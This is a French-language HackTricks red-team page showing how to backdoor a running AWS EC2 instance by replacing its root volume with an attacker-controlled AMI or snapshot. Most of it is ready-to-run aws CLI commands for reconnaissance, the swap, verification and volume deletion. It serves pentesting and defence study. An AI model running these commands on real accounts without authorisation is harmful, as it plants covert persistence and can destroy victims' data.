AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Exploiter ec2:CreateReplaceRootVolumeTask pour remplacer le volume racine EBS d'une instance en cours d'exécution par un volume restauré depuis une AMI ou un snapshot contrÎlé par l'attaquant. L'instance redémarre automatiquement et reprend avec le systÚme de fichiers racine contrÎlé par l'attaquant tout en conservant les ENIs, les IP privées/publiques, les volumes non-racine attachés, et les métadonnées de l'instance / le rÎle IAM.

Prérequis

  • L'instance cible utilise EBS comme stockage racine et s'exĂ©cute dans la mĂȘme rĂ©gion.
  • AMI ou snapshot compatible : mĂȘme architecture/virtualisation/mode de dĂ©marrage (et codes produit, si applicables) que l'instance cible.

Vérifications préalables

bash
REGION=us-east-1
INSTANCE_ID=<victim instance>

# Ensure EBS-backed
aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text

# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)

Remplacer le volume racine depuis une AMI (préféré)

bash
IMAGE_ID=<attacker-controlled compatible AMI>

# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)

# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done

Alternative — en utilisant un snapshot:

bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID

Preuves / Vérification

bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)

# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"

# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text

RĂ©sultat attendu : ENI_ID et PRI_IP restent les mĂȘmes ; l'ID du root volume passe de $ORIG_VOL Ă  $NEW_VOL. Le systĂšme dĂ©marre avec le systĂšme de fichiers provenant de l'AMI/snapshot contrĂŽlĂ©e par l'attaquant.

Remarques

  • L'API ne requiert pas que vous arrĂȘtiez manuellement l'instance ; EC2 orchestre un redĂ©marrage.
  • Par dĂ©faut, le volume EBS racine remplacĂ© (ancien) est dĂ©tachĂ© et laissĂ© dans le compte (DeleteReplacedRootVolume=false). Cela peut ĂȘtre utilisĂ© pour une restauration ou doit ĂȘtre supprimĂ© pour Ă©viter des coĂ»ts.

Restauration / Nettoyage

bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP

# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks